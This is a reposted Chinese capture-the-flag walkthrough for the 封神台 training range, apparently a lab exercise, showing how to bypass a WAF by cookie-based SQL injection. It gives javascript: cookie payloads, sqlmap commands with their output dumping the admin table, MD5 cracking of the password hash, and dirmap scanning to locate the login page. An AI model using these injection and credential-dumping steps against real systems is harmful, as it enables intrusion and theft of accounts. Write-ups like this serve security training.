我是靠谱客的博主 忧虑大米,最近开发中收集的这篇文章主要介绍封神台--第二章:遇到阻难!绕过WAF过滤!解题思路题目:一、查找sql注入点二、使用sqlmap进行cookie注入4)密码解码三、后台扫描出登录地址,觉得挺不错的,现在分享给大家,希望可以做个参考。

概述

题目:

尤里在得到女神家网站密码后,却发现注入点权限很小,凭他的皮毛技术也没找到网站后台,
这时尤里通过旁站查询,他发现了女神家网站是用的主机空间托管,
他立刻扫描旁站,果然发现一个站点,且后台是默认路径……
尤里冷笑一声行动了起来,却发现有一层防火墙拦在了他的面前。。

一、查找sql注入点

进入测试页面http://59.63.200.79:8004/

1)字符型、数字型等盲注尝试

随意点开一篇文章,构造单引号',双引号"等闭合查询语句,发现提示如下

网站对请求地址进行了WAF防护,通过测试没有过滤 == order by、union ==

网页防护一般只拦截get、post传参,因此尝试cookie注入

2)cookie注入

cookie注入提交的参数以cookie方式提交,判断步骤 

1.找到http://59.63.200.79:8004/shownews.asp?id=171带参数的URL。

2.去掉“id=xx”查看页面显示是否正常,如果不正常,说明参数在数据传递中是直接起作用的。

3.清空浏览器地址栏,输入“javascript:alert(document.cookie="id="+escape("xx"));”,按Enter键后弹出一个对话框,内容是“id=xx”,然后用原来的URL刷新页面,如果显示正常,说明应用使用Request("id")这种方式获取数据的。

4.重复上面的步骤,将常规SQL注入中的判断语句带入上面的URL:“javascript:alert(document.cookie="id="+escape("xx and 1=1"));” “javascript:alert(document.cookie="id="+escape("xx and 1=2"));”。和常规SQL注入一样,如果分别返回正常和不正常页面,则说明该应用存在注入漏洞,并可以进行cookie注入。

 

二、使用sqlmap进行cookie注入

1)拆解表 

命令:sqlmap -u http://59.63.200.79:8004/shownews.asp? --cookie "id=171" --tables   --level 2  --thread 10 --batch


[21:00:09] [WARNING] cannot retrieve table names, back-end DBMS is Microsoft Access
<current>
[8 tables]
+----------+
| user     |
| admin    |
| download |
| feedback |
| market   |
| news     |
| product  |
| vote     |
+----------+

2)拆解字段   

命令:sqlmap -u http://59.63.200.79:8004/shownews.asp? --cookie "d=171" -T admin --column   --level 2  --thread 10 --batch

[21:23:22] [WARNING] cannot retrieve column names, back-end DBMS is Microsoft Access
Database: <current>
Table: admin
[7 columns]
+----------+-------------+
| Column   | Type        |
+----------+-------------+
| user     | non-numeric |
| content  | non-numeric |
| flag     | non-numeric |
| id       | numeric     |
| password | non-numeric |
| title    | non-numeric |
| username | non-numeric |
+----------+-------------+

3)拆解字段值 

命令:sqlmap -u http://59.63.200.79:8004/shownews.asp? --cookie "id=171" -T admin -C flag,user,password  --dump  --level 2  --thread 10 --batch


Table: admin
[1 entry]
+----+---------+-------------------------------------------------+--------+------------------+----------+------------------+
| id | flag    | title                                           | user   | content          | username | password         |
+----+---------+-------------------------------------------------+--------+------------------+----------+------------------+
| 1  | <blank> | x8eVxfdg:hxb0N]xe8Y4|sbxc9QK??TX130Nxba | admin  | <P><FONT size=2> | admin    | b9a2a2b5dffb918c |
+----+---------+-------------------------------------------------+--------+------------------+----------+------------------+

4)密码解码

网站:https://www.cmd5.com/

使用密码b9a2a2b5dffb918c进行md5解码,得到密码为:welcome

三、后台扫描出登录地址

1)使用dirmap进行后台扫描

命令: python3 dirmap.py -i 59.63.200.79:8004 -lcf

(python源码,后台扫描器dirmap安装使用方法 :https://www.bilibili.com/read/cv6981656/)


                     #####  # #####  #    #   ##   #####
                     #    # # #    # ##  ##  #  #  #    #
                     #    # # #    # # ## # #    # #    #
                     #    # # #####  #    # ###### #####
                     #    # # #   #  #    # #    # #
                     #####  # #    # #    # #    # #   v1.0

[*] Initialize targets...
[+] Load targets from: 59.63.200.79:8004
[+] Set the number of thread: 30
[+] Coroutine mode
[+] Current target: http://59.63.200.79:8004/
[*] Launching auto check 404
[+] Checking with: http://59.63.200.79:8004/rspecqjkmwmiribyeumjmlgmkvofngbouoxljtyrsg
[*] Use recursive scan: No
[*] Use dict mode
[+] Load dict:/Users/111/111/111/111/111/dirmap/data/dict_mode_dict.txt
[*] Use crawl mode
[200][text/html][5.37kb] http://59.63.200.79:8004/admin/login.asp

扫描发现登陆地址

2)最后登录获取flag提交

最后

以上就是忧虑大米为你收集整理的封神台--第二章:遇到阻难!绕过WAF过滤!解题思路题目:一、查找sql注入点二、使用sqlmap进行cookie注入4)密码解码三、后台扫描出登录地址的全部内容,希望文章能够帮你解决封神台--第二章:遇到阻难!绕过WAF过滤!解题思路题目:一、查找sql注入点二、使用sqlmap进行cookie注入4)密码解码三、后台扫描出登录地址所遇到的程序开发问题。

如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。

本图文内容来源于网友提供,作为学习参考使用,或来自网络收集整理,版权属于原作者所有。
点赞(31)

评论列表共有 0 条评论

立即
投稿
返回
顶部